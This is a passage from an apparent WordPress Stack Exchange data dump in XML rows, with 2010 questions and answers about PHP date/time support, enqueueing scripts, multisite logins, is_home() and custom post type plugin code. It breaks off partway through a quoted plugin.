  <row Id="566" PostTypeId="1" AcceptedAnswerId="579" CreationDate="2010-08-19T13:13:30.387" Score="0" ViewCount="1219" Body="&lt;p&gt;I did some quick looking around, but my PHP skills are pretty nascent.  I am sure there is just a package that needs installing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add additional information about the setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum info php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the version of PHP as 5.1.6:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name       : php&#xA;Arch       : i386&#xA;Version    : 5.1.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information, this is a VM running CentOS at GoDaddy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CentOS release 5.4 (Final)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="272" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T13:00:33.273" LastActivityDate="2010-08-24T13:00:33.273" Title="I get &quot;The PHP Date/Time library is not supported by your web host.&quot; on my CentOS host, what library to I need to install to add support?" Tags="&lt;wp-admin&gt;&lt;date-time&gt;&lt;timezones&gt;&lt;php&gt;" AnswerCount="3" />
  <row Id="567" PostTypeId="2" ParentId="536" CreationDate="2010-08-19T13:20:02.773" Score="1" ViewCount="" Body="&lt;p&gt;Actually, the root site can have blog as a part of the permalink structure. In fact, any nice-urls for root site's posts force the prefix blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you don't mind using root account, you can have it. But you have to be careful, as the main blog can show up in subsites' panels, etc (AFAIK).&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-19T13:20:02.773" />
  <row Id="568" PostTypeId="2" ParentId="566" CreationDate="2010-08-19T13:25:35.287" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp-admin/options-general.php&lt;/code&gt; outputs the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately, you have to manually update this for daylight saving time. The PHP Date/Time library is not supported by your web host.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will output that block of code if the following PHP-provided functions are missing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://us2.php.net/date-create&quot; rel=&quot;nofollow&quot;&gt;date_create()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://us2.php.net/date-default-timezone-set&quot; rel=&quot;nofollow&quot;&gt;date_default_timezone_set()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://us2.php.net/timezone-identifiers-list&quot; rel=&quot;nofollow&quot;&gt;timezone_identifiers_list()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://us2.php.net/timezone-open&quot; rel=&quot;nofollow&quot;&gt;timezone_open()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://us2.php.net/timezone-offset-get&quot; rel=&quot;nofollow&quot;&gt;timezone_offset_get()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many of these functions are provided by the &lt;a href=&quot;http://us2.php.net/manual/en/book.datetime.php&quot; rel=&quot;nofollow&quot;&gt;DateTime&lt;/a&gt; family of classes. These have been part of PHP core since version 5.1/5.2, depending on the function in question. Though I hate to ask for clarification in an answer: What version of PHP is your host running?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-19T13:25:35.287" CommentCount="4" />
  <row Id="569" PostTypeId="1" AcceptedAnswerId="571" CreationDate="2010-08-19T13:29:55.387" Score="1" ViewCount="245" Body="&lt;p&gt;I am trying to use tips from &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/what-is-the-best-way-to-add-custom-javascript-files-to-the-site&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; to add my JS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put the following in the functions.php of atahualpa theme I've got installed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function lektor_init() {&#xA;  if (true) {&#xA;    wp_enqueue_script('lektor',TEMPLATEPATH.'/js/synteza.js');&#xA;  }&#xA;}&#xA;add_action('init','lektor_init'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt; has been already used before in there, so I just adapted it.&#xA;But it doesn't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T16:05:04.010" LastActivityDate="2010-08-19T23:12:38.413" Title="Why doesn't wp_enqueue_script() work when including a JavaScript file with TEMPLATEPATH?" Tags="&lt;hooks&gt;&lt;javascript&gt;&lt;themes&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="570" PostTypeId="2" ParentId="569" CreationDate="2010-08-19T13:35:50.397" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt; was the problem. it returns full path in the filesystem with &lt;code&gt;/var/www/wp/&lt;/code&gt; at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have to get paths from &lt;code&gt;get_bloginfo('template_directory')&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-08-19T13:35:50.397" CommentCount="2" />
  <row Id="571" PostTypeId="2" ParentId="569" CreationDate="2010-08-19T13:37:17.180" Score="8" ViewCount="" Body="&lt;p&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt; is a directory path, not a url. You'll need to use &lt;code&gt;get_template_directory_uri()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-19T13:37:17.180" />
  <row Id="572" PostTypeId="2" ParentId="564" CreationDate="2010-08-19T13:40:16.937" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt;, which has a 'paste-from-word' button that you can add to the editor. It doesn't so much make Word posts useful, as make them 'not Word'.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-19T13:40:16.937" CommentCount="1" />
  <row Id="573" PostTypeId="1" AcceptedAnswerId="584" CreationDate="2010-08-19T13:49:09.677" Score="0" ViewCount="237" Body="&lt;p&gt;I have a client that wants to create several Wordpress sites and utilize a &quot;site switcher&quot; at the top, sort of like ThemeForest.net. I know in WP 3 you can create multiple blogs on the same installation, but what about enabling users who login to one blog to be logged into all of the blogs in the Wordpress installation? Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2010-12-28T20:37:15.030" Title="Multi-site User Sessions" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;login&gt;&lt;users&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="574" PostTypeId="2" ParentId="573" CreationDate="2010-08-19T13:54:41.443" Score="2" ViewCount="" Body="&lt;p&gt;Definitely. Think of it this way: wordpress.com is a big Multisite install. You're always logged into wordpress.com, regardless of which blog you're on.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-19T13:54:41.443" />
  <row Id="575" PostTypeId="1" AcceptedAnswerId="576" CreationDate="2010-08-19T13:55:12.360" Score="1" ViewCount="424" Body="&lt;p&gt;I put a &lt;code&gt;if(is_home())&lt;/code&gt; bit in my theme's functions.php and it doesn't seem to work. The function containing this bit is called on init so &lt;code&gt;is_home&lt;/code&gt; should work already.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-19T16:01:28.117" LastActivityDate="2010-08-19T16:01:28.117" Title="Why isn't is_home() working correctly?" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;hooks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="576" PostTypeId="2" ParentId="575" CreationDate="2010-08-19T14:03:27.553" Score="7" ViewCount="" Body="&lt;p&gt;&lt;code&gt;is_home()&lt;/code&gt; won't work until &lt;code&gt;wp_query&lt;/code&gt; is run. The earliest hook you can use where is_home will work is &lt;code&gt;'parse_query'&lt;/code&gt;, but &lt;code&gt;'template_redirect'&lt;/code&gt; would be better.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-19T14:59:19.370" LastActivityDate="2010-08-19T14:59:19.370" CommentCount="4" />
  <row Id="577" PostTypeId="1" AcceptedAnswerId="585" CreationDate="2010-08-19T14:44:16.457" Score="0" ViewCount="241" Body="&lt;p&gt;I'm trying to work sub-menus into my theme but am running into issues when navigating to BuddyPress pages (as opposed to standard WP pages, posts, etc.). Basically, what I want to do is have pages (where appropriate) display a sub menu, ala:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cIZie.jpg&quot; alt=&quot;http://skitch.com/zamoose/d12ns/about-us-delta-sigma-theta-sorority-inc-south-jersey-alumnae-chapter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I navigate to pages that exist under BuddyPress' control, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fgSgM.jpg&quot; alt=&quot;http://skitch.com/zamoose/d12nu/delta-sigma-theta-sorority-inc-south-jersey-alumnae-chapter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following to generate the sub-menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page()) {&#xA;  global $wp_query;&#xA;&#xA;  if( empty($wp_query-&amp;gt;post-&amp;gt;post_parent) ) {&#xA;    $parent = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;  } else {&#xA;    $parent = $wp_query-&amp;gt;post-&amp;gt;post_parent;&#xA;  }&#xA;&#xA;  if(wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=0&quot; )) { ?&amp;gt;&#xA;    &amp;lt;ul id=&quot;subnav&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;      wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=1&quot; );&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;?php &#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where am I going astray?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2010-08-19T18:12:42.887" LastActivityDate="2010-08-19T20:44:11.953" Title="How can I detect whether a BuddyPress page is active from within my theme?" Tags="&lt;custom-menus&gt;&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="578" PostTypeId="1" AcceptedAnswerId="582" CreationDate="2010-08-19T15:13:29.107" Score="17" ViewCount="5647" Body="&lt;p&gt;I have created a Custom Post Type called &lt;code&gt;'listing'&lt;/code&gt; and added a Custom Taxonomy called &lt;code&gt;'businesses'&lt;/code&gt;. I would like to add a dropdown list of Businesses to the admin list for the Listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what this functionality looks like in admin list for Posts &lt;em&gt;(I would like the same for my Custom Post Type):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XBYZX.png&quot; alt=&quot;Categories Dropdown in Posts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code &lt;em&gt;(&lt;a href=&quot;http://gist.github.com/538096&quot; rel=&quot;nofollow&quot;&gt;And here is the same code on Gist.&lt;/a&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Listing Content Item&#xA;Plugin URI:&#xA;Description: &#xA;Author: &#xA;Version: 1.0&#xA;Author URI: &#xA;*/&#xA;&#xA;class Listing {&#xA;  var $meta_fields = array(&quot;list-address1&quot;,&quot;list-address2&quot;,&quot;list-country&quot;,&quot;list-province&quot;,&quot;list-city&quot;,&quot;list-postcode&quot;,&quot;list-firstname&quot;,&quot;list-lastname&quot;,&quot;list-website&quot;,&quot;list-mobile&quot;,&quot;list-phone&quot;,&quot;list-fax&quot;,&quot;list-email&quot;, &quot;list-profile&quot;, &quot;list-distributionrange&quot;, &quot;list-distributionarea&quot;);&#xA;&#xA;  public function loadStyleScripts() {&#xA;    $eventsURL = trailingslashit( WP_PLUGIN_URL ) . trailingslashit( plugin_basename( dirname( __FILE__ ) ) ) . 'css/';&#xA;    wp_enqueue_style('listing-style', $eventsURL.'listing.css');&#xA;  }&#xA;&#xA;  function Listing() {&#xA;    // Register custom post types&#xA;    register_post_type('listing', array(&#xA;      'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; __('Listings'), 'singular_name' =&amp;gt; __( 'Listing' ),&#xA;        'add_new' =&amp;gt; __( 'Add Listing' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Listing' ),&#xA;        'edit' =&amp;gt; __( 'Edit' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Listing' ),&#xA;        'new_item' =&amp;gt; __( 'New Listing' ),&#xA;        'view' =&amp;gt; __( 'View Listing' ),&#xA;        'view_item' =&amp;gt; __( 'View Listing' ),&#xA;        'search_items' =&amp;gt; __( 'Search Listings' ),&#xA;        'not_found' =&amp;gt; __( 'No listings found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No listings found in Trash' ),&#xA;        'parent' =&amp;gt; __( 'Parent Listing' ),&#xA;      ),&#xA;      'singular_label' =&amp;gt; __('Listing'),&#xA;      'public' =&amp;gt; true,&#xA;      'show_ui' =&amp;gt; true, // UI in admin panel&#xA;      '_builtin' =&amp;gt; false, // It's a custom post type, not built in&#xA;      '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;      'capability_type' =&amp;gt; 'post',&#xA;      'hierarchical' =&amp;gt; false,&#xA;      'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;listings&quot;), // Permalinks&#xA;      'query_var' =&amp;gt; &quot;listings&quot;, // This goes to the WP_Query schema&#xA;      'supports' =&amp;gt; array('title','editor')&#xA;    ));&#xA;&#xA;    add_filter(&quot;manage_edit-listing_columns&quot;, array(&amp;amp;$this, &quot;edit_columns&quot;));&#xA;    add_action(&quot;manage_posts_custom_column&quot;, array(&amp;amp;$this, &quot;custom_columns&quot;));&#xA;&#xA;    // Register custom taxonomy&#xA;&#xA;    #Businesses&#xA;    register_taxonomy(&quot;businesses&quot;, array(&quot;listing&quot;), array(&#xA;      &quot;hierarchical&quot; =&amp;gt; true, &#xA;      &quot;label&quot; =&amp;gt; &quot;Listing Categories&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Listing Categorie&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;    ));&#xA;&#xA;    # Region&#xA;    register_taxonomy(&quot;regions&quot;, array(&quot;listing&quot;), array(&#xA;      'labels' =&amp;gt; array(&#xA;        'search_items' =&amp;gt;  __( 'Search Regions' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Regions' ),&#xA;        'all_items' =&amp;gt; __( 'All Regions' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Region' ), &#xA;        'update_item' =&amp;gt; __( 'Update Region' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Region' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Region Name' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate regions with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove regions' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used regions' ),&#xA;      ),&#xA;      &quot;hierarchical&quot; =&amp;gt; false, &#xA;      &quot;label&quot; =&amp;gt; &quot;Listing Regions&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Listing Region&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;    ));&#xA;&#xA;    # Member Organizations&#xA;    register_taxonomy(&quot;organizations&quot;, array(&quot;listing&quot;), array(&#xA;      'labels' =&amp;gt; array(&#xA;        'search_items' =&amp;gt;  __( 'Search Member Organizations' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Member Organizations' ),&#xA;        'all_items' =&amp;gt; __( 'All Member Organizations' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Member Organization' ), &#xA;        'update_item' =&amp;gt; __( 'Update Member Organization' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Member Organization' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Member Organization Name' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate member organizations with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove member organizations' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used member organizations' ),&#xA;      ),&#xA;      &quot;hierarchical&quot; =&amp;gt; false, &#xA;      &quot;label&quot; =&amp;gt; &quot;Member Organizations&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Member Organization&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;    ));&#xA;&#xA;    # Retail Products&#xA;    register_taxonomy(&quot;retails&quot;, array(&quot;listing&quot;), array(&#xA;      'labels' =&amp;gt; array(&#xA;        'search_items' =&amp;gt;  __( 'Search Retail Products' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Retail Products' ),&#xA;        'all_items' =&amp;gt; __( 'All Retail Products' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Retail Product' ), &#xA;        'update_item' =&amp;gt; __( 'Update Retail Product' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Retail Product' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Retail Product Name' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate retail products with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove retail products' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used retail products' ),&#xA;      ),&#xA;      &quot;hierarchical&quot; =&amp;gt; false, &#xA;      &quot;label&quot; =&amp;gt; &quot;Retail Products&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Retail Product&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;    ));&#xA;&#xA;    # Farming Practices&#xA;    register_taxonomy(&quot;practices&quot;, array(&quot;listing&quot;), array(&#xA;      'labels' =&amp;gt; array(&#xA;        'search_items' =&amp;gt;  __( 'Search Farming Practices' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Farming Practices' ),&#xA;        'all_items' =&amp;gt; __( 'All Farming Practices' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Farming Practice' ), &#xA;        'update_item' =&amp;gt; __( 'Update Farming Practice' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Farming Practice' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Farming Practice Name' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate farming practices with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove farming practices' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used farming practices' ),&#xA;      ),&#xA;      &quot;hierarchical&quot; =&amp;gt; false, &#xA;      &quot;label&quot; =&amp;gt; &quot;Farming Practices&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Farming Practice&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;     ));&#xA;&#xA;    # Products &#xA;    register_taxonomy(&quot;products&quot;, array(&quot;listing&quot;), array(&#xA;      'labels' =&amp;gt; array(&#xA;        'search_items' =&amp;gt;  __( 'Search Products' ),&#xA;        'popular_items' =&amp;gt; __( 'Popular Products' ),&#xA;        'all_items' =&amp;gt; __( 'All Products' ),&#xA;        'parent_item' =&amp;gt; null,&#xA;        'parent_item_colon' =&amp;gt; null,&#xA;        'edit_item' =&amp;gt; __( 'Edit Product' ), &#xA;        'update_item' =&amp;gt; __( 'Update Product' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Product' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Product Name' ),&#xA;        'separate_items_with_commas' =&amp;gt; __( 'Separate products with commas' ),&#xA;        'add_or_remove_items' =&amp;gt; __( 'Add or remove products' ),&#xA;        'choose_from_most_used' =&amp;gt; __( 'Choose from the most used products' ),&#xA;      ),&#xA;      &quot;hierarchical&quot; =&amp;gt; false, &#xA;      &quot;label&quot; =&amp;gt; &quot;Products&quot;, &#xA;      &quot;singular_label&quot; =&amp;gt; &quot;Product&quot;, &#xA;      &quot;rewrite&quot; =&amp;gt; true,&#xA;    ));&#xA;&#xA;&#xA;    // Admin interface init&#xA;    add_action(&quot;admin_init&quot;, array(&amp;amp;$this, &quot;admin_init&quot;));&#xA;    add_action(&quot;template_redirect&quot;, array(&amp;amp;$this, 'template_redirect'));&#xA;&#xA;    // Insert post hook&#xA;    add_action(&quot;wp_insert_post&quot;, array(&amp;amp;$this, &quot;wp_insert_post&quot;), 10, 2);&#xA;  }&#xA;&#xA;  function edit_columns($columns) {&#xA;    $columns = array(&#xA;      &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;      &quot;title&quot; =&amp;gt; &quot;Business Name&quot;,&#xA;      &quot;description&quot; =&amp;gt; &quot;Description&quot;,&#xA;      &quot;list-personal&quot; =&amp;gt; &quot;Personal Information&quot;,&#xA;      &quot;list-location&quot; =&amp;gt; &quot;Location&quot;,&#xA;      &quot;list-categorie&quot; =&amp;gt; &quot;Categorie&quot;,&#xA;    );&#xA;&#xA;    return $columns;&#xA;  }&#xA;&#xA;  function custom_columns($column) {&#xA;    global $post;&#xA;    switch ($column) {&#xA;      case &quot;description&quot;:&#xA;        the_excerpt();&#xA;        break;&#xA;      case &quot;list-personal&quot;:&#xA;        $custom = get_post_custom();&#xA;        if(isset($custom[&quot;list-firstname&quot;][0])) echo $custom[&quot;list-firstname&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-lastname&quot;][0])) echo $custom[&quot;list-lastname&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-email&quot;][0])) echo $custom[&quot;list-email&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-website&quot;][0])) echo $custom[&quot;list-website&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-phone&quot;][0])) echo $custom[&quot;list-phone&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-mobile&quot;][0])) echo $custom[&quot;list-mobile&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-fax&quot;][0])) echo $custom[&quot;list-fax&quot;][0];&#xA;        break;&#xA;      case &quot;list-location&quot;:&#xA;        $custom = get_post_custom();&#xA;        if(isset($custom[&quot;list-address1&quot;][0])) echo $custom[&quot;list-address1&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-address2&quot;][0])) echo $custom[&quot;list-address2&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-city&quot;][0])) echo $custom[&quot;list-city&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-province&quot;][0])) echo $custom[&quot;list-province&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-postcode&quot;][0])) echo $custom[&quot;list-postcode&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-country&quot;][0])) echo $custom[&quot;list-country&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-profile&quot;][0])) echo $custom[&quot;list-profile&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-distributionrange&quot;][0])) echo $custom[&quot;list-distributionrange&quot;][0].&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        if(isset($custom[&quot;list-distributionarea&quot;][0])) echo $custom[&quot;list-distributionarea&quot;][0];&#xA;        break;&#xA;      case &quot;list-categorie&quot;:&#xA;        $speakers = get_the_terms(0, &quot;businesses&quot;);&#xA;        $speakers_html = array();&#xA;        if(is_array($speakers)) {&#xA;          foreach ($speakers as $speaker)&#xA;          array_push($speakers_html, '&amp;lt;a href=&quot;' . get_term_link($speaker-&amp;gt;slug, 'businesses') . '&quot;&amp;gt;' . $speaker-&amp;gt;name . '&amp;lt;/a&amp;gt;');&#xA;          echo implode($speakers_html, &quot;, &quot;);&#xA;        }&#xA;        break;&#xA;    }&#xA;  }&#xA;&#xA;  // Template selection&#xA;  function template_redirect() {&#xA;    global $wp;&#xA;    if (isset($wp-&amp;gt;query_vars[&quot;post_type&quot;]) &amp;amp;&amp;amp; ($wp-&amp;gt;query_vars[&quot;post_type&quot;] == &quot;listing&quot;)) {&#xA;      include(STYLESHEETPATH . &quot;/listing.php&quot;);&#xA;      die();&#xA;    }&#xA;  }&#xA;&#xA;  // When a post is inserted or updated&#xA;  function wp_insert_post($post_id, $post = null) {&#xA;    if ($post-&amp;gt;post_type == &quot;listing&quot;) {&#xA;      // Loop through the POST data&#xA;      foreach ($this-&amp;gt;meta_fields as $key) {&#xA;        $value = @$_POST[$key];&#xA;        if (empty($value)) {&#xA;          delete_post_meta($post_id, $key);&#xA;          continue;&#xA;        }&#xA;&#xA;        // If value is a string it should be unique&#xA;        if (!is_array($value)) {&#xA;          // Update meta&#xA;          if (!update_post_meta($post_id, $key, $value)) {&#xA;            // Or add the meta data&#xA;            add_post_meta($post_id, $key, $value);&#xA;          }&#xA;        }&#xA;        else&#xA;        {&#xA;          // If passed along is an array, we should remove all previous data&#xA;          delete_post_meta($post_id, $key);&#xA;&#xA;          // Loop through the array adding new values to the post meta as different entries with the same name&#xA;          foreach ($value as $entry)&#xA;            add_post_meta($post_id, $key, $entry);&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;&#xA;  function admin_init() {&#xA;    // Custom meta boxes for the edit listing screen&#xA;    add_meta_box(&quot;list-pers-meta&quot;, &quot;Personal Information&quot;, array(&amp;amp;$this, &quot;meta_personal&quot;), &quot;listing&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;    add_meta_box(&quot;list-meta&quot;, &quot;Location&quot;, array(&amp;amp;$this, &quot;meta_location&quot;), &quot;listing&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;  }&#xA;&#xA;  function meta_personal() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    if(isset($custom[&quot;list-firstname&quot;][0])) $first_name = $custom[&quot;list-firstname&quot;][0];else $first_name = '';&#xA;    if(isset($custom[&quot;list-lastname&quot;][0])) $last_name = $custom[&quot;list-lastname&quot;][0];else $last_name = '';&#xA;    if(isset($custom[&quot;list-website&quot;][0])) $website = $custom[&quot;list-website&quot;][0];else $website = '';&#xA;    if(isset($custom[&quot;list-phone&quot;][0])) $phone = $custom[&quot;list-phone&quot;][0];else $phone = '';&#xA;    if(isset($custom[&quot;list-mobile&quot;][0])) $mobile = $custom[&quot;list-mobile&quot;][0];else $mobile = '';&#xA;    if(isset($custom[&quot;list-fax&quot;][0])) $fax = $custom[&quot;list-fax&quot;][0];else $fax = '';&#xA;    if(isset($custom[&quot;list-email&quot;][0])) $email = $custom[&quot;list-email&quot;][0];else $email = '';&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;personal&quot;&amp;gt;&#xA;&amp;lt;table border=&quot;0&quot; id=&quot;personal&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Firstname:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-firstname&quot; value=&quot;&amp;lt;?php echo $first_name; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;personal_field&quot;&amp;gt;&amp;lt;label&amp;gt;Lastname:&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;personal_input&quot;&amp;gt;&amp;lt;input name=&quot;list-lastname&quot; value=&quot;&amp;lt;?php echo $last_name; ?&amp;gt;&quot; 